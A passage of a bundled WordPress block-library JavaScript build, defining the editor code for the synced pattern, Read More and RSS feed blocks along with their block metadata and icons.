45928;// ./node_modules/@wordpress/block-library/build-module/block/edit.js
45929
45930
45931
45932
45933
45934
45935
45936
45937
45938
45939
45940const { useLayoutClasses } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
45941const { hasOverridableBlocks } = unlock(external_wp_patterns_namespaceObject.privateApis);
45942const fullAlignments = ["full", "wide", "left", "right"];
45943const useInferredLayout = (blocks, parentLayout) => {
45944 const initialInferredAlignmentRef = (0,external_wp_element_namespaceObject.useRef)();
45945 return (0,external_wp_element_namespaceObject.useMemo)(() => {
45946 if (!blocks?.length) {
45947 return {};
45948 }
45949 let alignment = initialInferredAlignmentRef.current;
45950 if (alignment === void 0) {
45951 const isConstrained = parentLayout?.type === "constrained";
45952 const hasFullAlignment = blocks.some(
45953 (block) => fullAlignments.includes(block.attributes.align)
45954 );
45955 alignment = isConstrained && hasFullAlignment ? "full" : null;
45956 initialInferredAlignmentRef.current = alignment;
45957 }
45958 const layout = alignment ? parentLayout : void 0;
45959 return { alignment, layout };
45960 }, [blocks, parentLayout]);
45961};
45962function RecursionWarning() {
45963 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
45964 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { children: (0,external_wp_i18n_namespaceObject.__)("Block cannot be rendered inside itself.") }) });
45965}
45966const edit_NOOP = () => {
45967};
45968function ReusableBlockEditRecursionWrapper(props) {
45969 const { ref } = props.attributes;
45970 const hasAlreadyRendered = (0,external_wp_blockEditor_namespaceObject.useHasRecursion)(ref);
45971 if (hasAlreadyRendered) {
45972 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(RecursionWarning, {});
45973 }
45974 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RecursionProvider, { uniqueId: ref, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ReusableBlockEdit, { ...props }) });
45975}
45976function ReusableBlockControl({
45977 recordId,
45978 canOverrideBlocks,
45979 hasContent,
45980 handleEditOriginal,
45981 resetContent
45982}) {
45983 const canUserEdit = (0,external_wp_data_namespaceObject.useSelect)(
45984 (select) => !!select(external_wp_coreData_namespaceObject.store).canUser("update", {
45985 kind: "postType",
45986 name: "wp_block",
45987 id: recordId
45988 }),
45989 [recordId]
45990 );
45991 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
45992 canUserEdit && !!handleEditOriginal && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarButton, { onClick: handleEditOriginal, children: (0,external_wp_i18n_namespaceObject.__)("Edit original") }) }) }),
45993 canOverrideBlocks && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45994 external_wp_components_namespaceObject.ToolbarButton,
45995 {
45996 onClick: resetContent,
45997 disabled: !hasContent,
45998 children: (0,external_wp_i18n_namespaceObject.__)("Reset")
45999 }
46000 ) }) })
46001 ] });
46002}
46003function ReusableBlockEdit({
46004 name,
46005 attributes: { ref, content },
46006 __unstableParentLayout: parentLayout,
46007 setAttributes
46008}) {
46009 const { record, hasResolved } = (0,external_wp_coreData_namespaceObject.useEntityRecord)(
46010 "postType",
46011 "wp_block",
46012 ref
46013 );
46014 const [blocks] = (0,external_wp_coreData_namespaceObject.useEntityBlockEditor)("postType", "wp_block", {
46015 id: ref
46016 });
46017 const isMissing = hasResolved && !record;
46018 const { __unstableMarkLastChangeAsPersistent } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
46019 const { onNavigateToEntityRecord, hasPatternOverridesSource } = (0,external_wp_data_namespaceObject.useSelect)(
46020 (select) => {
46021 const { getSettings } = select(external_wp_blockEditor_namespaceObject.store);
46022 return {
46023 onNavigateToEntityRecord: getSettings().onNavigateToEntityRecord,
46024 hasPatternOverridesSource: !!(0,external_wp_blocks_namespaceObject.getBlockBindingsSource)(
46025 "core/pattern-overrides"
46026 )
46027 };
46028 },
46029 []
46030 );
46031 const canOverrideBlocks = (0,external_wp_element_namespaceObject.useMemo)(
46032 () => hasPatternOverridesSource && hasOverridableBlocks(blocks),
46033 [hasPatternOverridesSource, blocks]
46034 );
46035 const { alignment, layout } = useInferredLayout(blocks, parentLayout);
46036 const layoutClasses = useLayoutClasses({ layout }, name);
46037 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
46038 className: dist_clsx(
46039 "block-library-block__reusable-block-container",
46040 layout && layoutClasses,
46041 { [`align${alignment}`]: alignment }
46042 )
46043 });
46044 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
46045 layout,
46046 value: blocks,
46047 onInput: edit_NOOP,
46048 onChange: edit_NOOP,
46049 renderAppender: blocks?.length ? void 0 : external_wp_blockEditor_namespaceObject.InnerBlocks.ButtonBlockAppender
46050 });
46051 const handleEditOriginal = () => {
46052 onNavigateToEntityRecord({
46053 postId: ref,
46054 postType: "wp_block"
46055 });
46056 };
46057 const resetContent = () => {
46058 if (content) {
46059 __unstableMarkLastChangeAsPersistent();
46060 setAttributes({ content: void 0 });
46061 }
46062 };
46063 let children = null;
46064 if (isMissing) {
46065 children = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { children: (0,external_wp_i18n_namespaceObject.__)("Block has been deleted or is unavailable.") });
46066 }
46067 if (!hasResolved) {
46068 children = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) });
46069 }
46070 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
46071 hasResolved && !isMissing && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46072 ReusableBlockControl,
46073 {
46074 recordId: ref,
46075 canOverrideBlocks,
46076 hasContent: !!content,
46077 handleEditOriginal: onNavigateToEntityRecord ? handleEditOriginal : void 0,
46078 resetContent
46079 }
46080 ),
46081 children === null ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children })
46082 ] });
46083}
46084
46085
46086;// ./node_modules/@wordpress/block-library/build-module/block/deprecated.js
46087const isObject = (obj) => typeof obj === "object" && !Array.isArray(obj) && obj !== null;
46088const block_deprecated_v2 = {
46089 attributes: {
46090 ref: {
46091 type: "number"
46092 },
46093 content: {
46094 type: "object"
46095 }
46096 },
46097 supports: {
46098 customClassName: false,
46099 html: false,
46100 inserter: false,
46101 renaming: false
46102 },
46103 // Force this deprecation to run whenever there's a values sub-property that's an object.
46104 //
46105 // This could fail in the future if a block ever has binding to a `values` attribute.
46106 // Some extra protection is added to ensure `values` is an object, but this only reduces
46107 // the likelihood, it doesn't solve it completely.
46108 isEligible({ content }) {
46109 return !!content && Object.keys(content).every(
46110 (contentKey) => content[contentKey].values && isObject(content[contentKey].values)
46111 );
46112 },
46113 /*
46114 * Old attribute format:
46115 * content: {
46116 * "V98q_x": {
46117 * // The attribute values are now stored as a 'values' sub-property.
46118 * values: { content: 'My content value' },
46119 * // ... additional metadata, like the block name can be stored here.
46120 * }
46121 * }
46122 *
46123 * New attribute format:
46124 * content: {
46125 * "V98q_x": {
46126 * content: 'My content value',
46127 * }
46128 * }
46129 */
46130 migrate(attributes) {
46131 const { content, ...retainedAttributes } = attributes;
46132 if (content && Object.keys(content).length) {
46133 const updatedContent = { ...content };
46134 for (const contentKey in content) {
46135 updatedContent[contentKey] = content[contentKey].values;
46136 }
46137 return {
46138 ...retainedAttributes,
46139 content: updatedContent
46140 };
46141 }
46142 return attributes;
46143 }
46144};
46145const block_deprecated_v1 = {
46146 attributes: {
46147 ref: {
46148 type: "number"
46149 },
46150 overrides: {
46151 type: "object"
46152 }
46153 },
46154 supports: {
46155 customClassName: false,
46156 html: false,
46157 inserter: false,
46158 renaming: false
46159 },
46160 // Force this deprecation to run whenever there's an `overrides` object.
46161 isEligible({ overrides }) {
46162 return !!overrides;
46163 },
46164 /*
46165 * Old attribute format:
46166 * overrides: {
46167 * // An key is an id that represents a block.
46168 * // The values are the attribute values of the block.
46169 * "V98q_x": { content: 'My content value' }
46170 * }
46171 *
46172 * New attribute format:
46173 * content: {
46174 * "V98q_x": { content: 'My content value' }
46175 * }
46176 *
46177 */
46178 migrate(attributes) {
46179 const { overrides, ...retainedAttributes } = attributes;
46180 const content = {};
46181 Object.keys(overrides).forEach((id) => {
46182 content[id] = overrides[id];
46183 });
46184 return {
46185 ...retainedAttributes,
46186 content
46187 };
46188 }
46189};
46190var block_deprecated_deprecated_default = [block_deprecated_v2, block_deprecated_v1];
46191
46192
46193;// ./node_modules/@wordpress/block-library/build-module/block/index.js
46194
46195
46196
46197
46198
46199
46200
46201
46202const { name: block_name } = block_block_namespaceObject;
46203const block_settings = {
46204 deprecated: block_deprecated_deprecated_default,
46205 edit: ReusableBlockEditRecursionWrapper,
46206 icon: symbol_default,
46207 __experimentalLabel: ({ ref }) => {
46208 if (!ref) {
46209 return;
46210 }
46211 const entity = (0,external_wp_data_namespaceObject.select)(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(
46212 "postType",
46213 "wp_block",
46214 ref
46215 );
46216 if (!entity?.title) {
46217 return;
46218 }
46219 return (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(entity.title);
46220 }
46221};
46222const block_init = () => initBlock({ name: block_name, metadata: block_block_namespaceObject, settings: block_settings });
46223
46224
46225;// ./node_modules/@wordpress/block-library/build-module/read-more/block.json
46226const read_more_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/read-more","title":"Read More","category":"theme","description":"Displays the link of a post, page, or any other content-type.","textdomain":"default","attributes":{"content":{"type":"string","role":"content"},"linkTarget":{"type":"string","default":"_self"}},"usesContext":["postId"],"supports":{"html":false,"color":{"gradients":true,"text":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalLetterSpacing":true,"__experimentalTextDecoration":true,"__experimentalDefaultControls":{"fontSize":true,"textDecoration":true}},"spacing":{"margin":["top","bottom"],"padding":true,"__experimentalDefaultControls":{"padding":true}},"__experimentalBorder":{"color":true,"radius":true,"width":true,"__experimentalDefaultControls":{"width":true}},"interactivity":{"clientNavigation":true}},"style":"wp-block-read-more"}');
46227;// ./node_modules/@wordpress/block-library/build-module/read-more/edit.js
46228
46229
46230
46231
46232
46233
46234function ReadMore({
46235 attributes: { content, linkTarget },
46236 setAttributes,
46237 insertBlocksAfter
46238}) {
46239 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
46240 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
46241 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
46242 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46243 external_wp_components_namespaceObject.__experimentalToolsPanel,
46244 {
46245 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
46246 resetAll: () => setAttributes({ linkTarget: "_self" }),
46247 dropdownMenuProps,
46248 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46249 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
46250 {
46251 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
46252 isShownByDefault: true,
46253 hasValue: () => linkTarget !== "_self",
46254 onDeselect: () => setAttributes({ linkTarget: "_self" }),
46255 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46256 external_wp_components_namespaceObject.ToggleControl,
46257 {
46258 __nextHasNoMarginBottom: true,
46259 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
46260 onChange: (value) => setAttributes({
46261 linkTarget: value ? "_blank" : "_self"
46262 }),
46263 checked: linkTarget === "_blank"
46264 }
46265 )
46266 }
46267 )
46268 }
46269 ) }),
46270 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46271 external_wp_blockEditor_namespaceObject.RichText,
46272 {
46273 identifier: "content",
46274 tagName: "a",
46275 "aria-label": (0,external_wp_i18n_namespaceObject.__)("\u201CRead more\u201D link text"),
46276 placeholder: (0,external_wp_i18n_namespaceObject.__)("Read more"),
46277 value: content,
46278 onChange: (newValue) => setAttributes({ content: newValue }),
46279 __unstableOnSplitAtEnd: () => insertBlocksAfter((0,external_wp_blocks_namespaceObject.createBlock)((0,external_wp_blocks_namespaceObject.getDefaultBlockName)())),
46280 withoutInteractiveFormatting: true,
46281 ...blockProps
46282 }
46283 )
46284 ] });
46285}
46286
46287
46288;// ./node_modules/@wordpress/block-library/build-module/read-more/index.js
46289
46290
46291
46292
46293
46294const { name: read_more_name } = read_more_block_namespaceObject;
46295const read_more_settings = {
46296 icon: link_default,
46297 edit: ReadMore,
46298 example: {
46299 attributes: {
46300 content: (0,external_wp_i18n_namespaceObject.__)("Read more")
46301 }
46302 }
46303};
46304const read_more_init = () => initBlock({ name: read_more_name, metadata: read_more_block_namespaceObject, settings: read_more_settings });
46305
46306
46307;// ./node_modules/@wordpress/icons/build-module/library/rss.js
46308
46309
46310var rss_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M5 10.2h-.8v1.5H5c1.9 0 3.8.8 5.1 2.1 1.4 1.4 2.1 3.2 2.1 5.1v.8h1.5V19c0-2.3-.9-4.5-2.6-6.2-1.6-1.6-3.8-2.6-6.1-2.6zm10.4-1.6C12.6 5.8 8.9 4.2 5 4.2h-.8v1.5H5c3.5 0 6.9 1.4 9.4 3.9s3.9 5.8 3.9 9.4v.8h1.5V19c0-3.9-1.6-7.6-4.4-10.4zM4 20h3v-3H4v3z" }) });
46311
46312
46313;// ./node_modules/@wordpress/block-library/build-module/rss/block.json
46314const rss_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/rss","title":"RSS","category":"widgets","description":"Display entries from any RSS or Atom feed.","keywords":["atom","feed"],"textdomain":"default","attributes":{"columns":{"type":"number","default":2},"blockLayout":{"type":"string","default":"list"},"feedURL":{"type":"string","default":"","role":"content"},"itemsToShow":{"type":"number","default":5},"displayExcerpt":{"type":"boolean","default":false},"displayAuthor":{"type":"boolean","default":false},"displayDate":{"type":"boolean","default":false},"excerptLength":{"type":"number","default":55},"openInNewTab":{"type":"boolean","default":false},"rel":{"type":"string"}},"supports":{"align":true,"html":false,"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true},"spacing":{"margin":true,"padding":true,"__experimentalDefaultControls":{"padding":false,"margin":false}},"color":{"background":true,"text":true,"gradients":true,"link":true}},"editorStyle":"wp-block-rss-editor","style":"wp-block-rss"}');
46315;// ./node_modules/@wordpress/block-library/build-module/rss/edit.js
46316
46317
46318
46319
46320
46321
46322
46323
46324
46325const DEFAULT_MIN_ITEMS = 1;
46326const DEFAULT_MAX_ITEMS = 20;
46327function RSSEdit({ attributes, setAttributes }) {
46328 const [isEditing, setIsEditing] = (0,external_wp_element_namespaceObject.useState)(!attributes.feedURL);
46329 const {
46330 blockLayout,
46331 columns,
46332 displayAuthor,
46333 displayDate,
46334 displayExcerpt,
46335 excerptLength,
46336 feedURL,
46337 itemsToShow,
46338 openInNewTab,
46339 rel
46340 } = attributes;
46341 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
46342 function toggleAttribute(propName) {
46343 return () => {
46344 const value = attributes[propName];
46345 setAttributes({ [propName]: !value });
46346 };
46347 }
46348 function onSubmitURL(event) {
46349 event.preventDefault();
46350 if (feedURL) {
46351 setAttributes({ feedURL: (0,external_wp_url_namespaceObject.prependHTTP)(feedURL) });
46352 setIsEditing(false);
46353 }
46354 }
46355 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
46356 const label = (0,external_wp_i18n_namespaceObject.__)("RSS URL");
46357 if (isEditing) {
46358 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46359 external_wp_components_namespaceObject.Placeholder,
46360 {
46361 icon: rss_default,
46362 label,
46363 instructions: (0,external_wp_i18n_namespaceObject.__)(
46364 "Display entries from any RSS or Atom feed."
46365 ),
46366 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
46367 "form",
46368 {
46369 onSubmit: onSubmitURL,
46370 className: "wp-block-rss__placeholder-form",
46371 children: [
46372 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46373 external_wp_components_namespaceObject.__experimentalInputControl,
46374 {
46375 __next40pxDefaultSize: true,
46376 label,
46377 type: "url",
46378 hideLabelFromVision: true,
46379 placeholder: (0,external_wp_i18n_namespaceObject.__)("Enter URL here\u2026"),
46380 value: feedURL,
46381 onChange: (value) => setAttributes({ feedURL: value }),
46382 className: "wp-block-rss__placeholder-input"
46383 }
46384 ),
46385 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46386 external_wp_components_namespaceObject.Button,
46387 {
46388 __next40pxDefaultSize: true,
46389 variant: "primary",
46390 type: "submit",
46391 children: (0,external_wp_i18n_namespaceObject.__)("Apply")
46392 }
46393 )
46394 ]
46395 }
46396 )
46397 }
46398 ) });
46399 }
46400 const toolbarControls = [
46401 {
46402 icon: pencil_default,
46403 title: (0,external_wp_i18n_namespaceObject.__)("Edit RSS URL"),
46404 onClick: () => setIsEditing(true)
46405 },
46406 {
46407 icon: list_default,
46408 title: (0,external_wp_i18n_namespaceObject._x)("List view", "RSS block display setting"),
46409 onClick: () => setAttributes({ blockLayout: "list" }),
46410 isActive: blockLayout === "list"
46411 },
46412 {
46413 icon: grid_default,
46414 title: (0,external_wp_i18n_namespaceObject._x)("Grid view", "RSS block display setting"),
46415 onClick: () => setAttributes({ blockLayout: "grid" }),
46416 isActive: blockLayout === "grid"
46417 }
46418 ];
46419 const serverSideAttributes = {
46420 ...attributes,
46421 style: {
46422 ...attributes?.style,
46423 border: void 0,
46424 spacing: void 0
46425 }
46426 };
46427 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
46428 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { controls: toolbarControls }) }),
46429 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
46430 external_wp_components_namespaceObject.__experimentalToolsPanel,
46431 {
46432 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
46433 resetAll: () => {
46434 setAttributes({
46435 itemsToShow: 5,
46436 displayAuthor: false,
46437 displayDate: false,
46438 displayExcerpt: false,
46439 excerptLength: 55,
46440 columns: 2,
46441 openInNewTab: false
46442 });
46443 },
46444 dropdownMenuProps,
46445 children: [
46446 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46447 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
46448 {
46449 label: (0,external_wp_i18n_namespaceObject.__)("Number of items"),
46450 hasValue: () => itemsToShow !== 5,
46451 onDeselect: () => setAttributes({ itemsToShow: 5 }),
46452 isShownByDefault: true,
46453 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46454 external_wp_components_namespaceObject.RangeControl,
46455 {
46456 __nextHasNoMarginBottom: true,
46457 __next40pxDefaultSize: true,
46458 label: (0,external_wp_i18n_namespaceObject.__)("Number of items"),
46459 value: itemsToShow,
46460 onChange: (value) => setAttributes({ itemsToShow: value }),
46461 min: DEFAULT_MIN_ITEMS,
46462 max: DEFAULT_MAX_ITEMS,
46463 required: true
46464 }
46465 )
46466 }
46467 ),
46468 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46469 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
46470 {
46471 label: (0,external_wp_i18n_namespaceObject.__)("Display author"),
46472 hasValue: () => !!displayAuthor,
46473 onDeselect: () => setAttributes({ displayAuthor: false }),
46474 isShownByDefault: true,
46475 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46476 external_wp_components_namespaceObject.ToggleControl,
46477 {
46478 __nextHasNoMarginBottom: true,
46479 label: (0,external_wp_i18n_namespaceObject.__)("Display author"),
46480 checked: displayAuthor,
46481 onChange: toggleAttribute("displayAuthor")
46482 }
46483 )
46484 }
46485 ),
46486 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46487 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
46488 {
46489 label: (0,external_wp_i18n_namespaceObject.__)("Display date"),
46490 hasValue: () => !!displayDate,
46491 onDeselect: () => setAttributes({ displayDate: false }),
46492 isShownByDefault: true,
46493 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46494 external_wp_components_namespaceObject.ToggleControl,
46495 {
46496 __nextHasNoMarginBottom: true,
46497 label: (0,external_wp_i18n_namespaceObject.__)("Display date"),
46498 checked: displayDate,
46499 onChange: toggleAttribute("displayDate")
46500 }
46501 )
46502 }
46503 ),
46504 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46505 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
46506 {
46507 label: (0,external_wp_i18n_namespaceObject.__)("Display excerpt"),
46508 hasValue: () => !!displayExcerpt,
46509 onDeselect: () => setAttributes({ displayExcerpt: false }),
46510 isShownByDefault: true,
46511 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46512 external_wp_components_namespaceObject.ToggleControl,
46513 {
46514 __nextHasNoMarginBottom: true,
46515 label: (0,external_wp_i18n_namespaceObject.__)("Display excerpt"),
46516 checked: displayExcerpt,
46517 onChange: toggleAttribute("displayExcerpt")
46518 }
46519 )
46520 }
46521 ),
46522 displayExcerpt && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46523 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
46524 {
46525 label: (0,external_wp_i18n_namespaceObject.__)("Max number of words in excerpt"),
46526 hasValue: () => excerptLength !== 55,
46527 onDeselect: () => setAttributes({ excerptLength: 55 }),
46528 isShownByDefault: true,
46529 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46530 external_wp_components_namespaceObject.RangeControl,
46531 {
46532 __nextHasNoMarginBottom: true,
46533 __next40pxDefaultSize: true,
46534 label: (0,external_wp_i18n_namespaceObject.__)("Max number of words in excerpt"),
46535 value: excerptLength,
46536 onChange: (value) => setAttributes({ excerptLength: value }),
46537 min: 10,
46538 max: 100,
46539 required: true
46540 }
46541 )
46542 }
46543 ),
46544 blockLayout === "grid" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46545 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
46546 {
46547 label: (0,external_wp_i18n_namespaceObject.__)("Columns"),
46548 hasValue: () => columns !== 2,
46549 onDeselect: () => setAttributes({ columns: 2 }),
46550 isShownByDefault: true,
46551 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46552 external_wp_components_namespaceObject.RangeControl,
46553 {
46554 __nextHasNoMarginBottom: true,
46555 __next40pxDefaultSize: true,
46556 label: (0,external_wp_i18n_namespaceObject.__)("Columns"),
46557 value: columns,
46558 onChange: (value) => setAttributes({ columns: value }),
46559 min: 2,
46560 max: 6,
46561 required: true
46562 }
46563 )
46564 }
46565 ),
46566 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46567 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
46568 {
46569 label: (0,external_wp_i18n_namespaceObject.__)("Open links in new tab"),
46570 hasValue: () => !!openInNewTab,
46571 onDeselect: () => setAttributes({ openInNewTab: false }),
46572 isShownByDefault: true,
46573 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46574 external_wp_components_namespaceObject.ToggleControl,
46575 {
46576 __nextHasNoMarginBottom: true,
46577 label: (0,external_wp_i18n_namespaceObject.__)("Open links in new tab"),
46578 checked: openInNewTab,
46579 onChange: (value) => setAttributes({ openInNewTab: value })
46580 }
46581 )
46582 }
46583 )
46584 ]
46585 }
46586 ) }),
46587 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46588 external_wp_components_namespaceObject.TextControl,
46589 {
46590 __next40pxDefaultSize: true,
46591 __nextHasNoMarginBottom: true,
46592 label: (0,external_wp_i18n_namespaceObject.__)("Link relation"),
46593 help: (0,external_wp_element_namespaceObject.createInterpolateElement)(
46594 (0,external_wp_i18n_namespaceObject.__)(
46595 "The <a>Link Relation</a> attribute defines the relationship between a linked resource and the current document."
46596 ),
46597 {
46598 a: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, { href: "https://developer.mozilla.org/docs/Web/HTML/Attributes/rel" })
46599 }
46600 ),
46601 value: rel || "",
46602 onChange: (value) => setAttributes({ rel: value })
46603 }
46604 ) }),
46605 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Disabled, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46606 (external_wp_serverSideRender_default()),
46607 {
46608 block: "core/rss",
46609 attributes: serverSideAttributes
46610 }
46611 ) }) })
46612 ] });
46613}
46614
46615
46616;// ./node_modules/@wordpress/block-library/build-module/rss/index.js
46617
46618
46619
46620
46621const { name: rss_name } = rss_block_namespaceObject;
46622const rss_settings = {
46623 icon: rss_default,
46624 example: {
46625 attributes: {
46626 feedURL: "https://wordpress.org"
46627 }
46628 },
46629 edit: RSSEdit
46630};
46631const rss_init = () => initBlock({ name: rss_name, metadata: rss_block_namespaceObject, settings: rss_settings });
46632
46633
46634;// ./node_modules/@wordpress/icons/build-module/library/search.js
46635
46636
46637var search_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z" }) });
46638
46639
46640;// ./node_modules/@wordpress/block-library/build-module/search/block.json
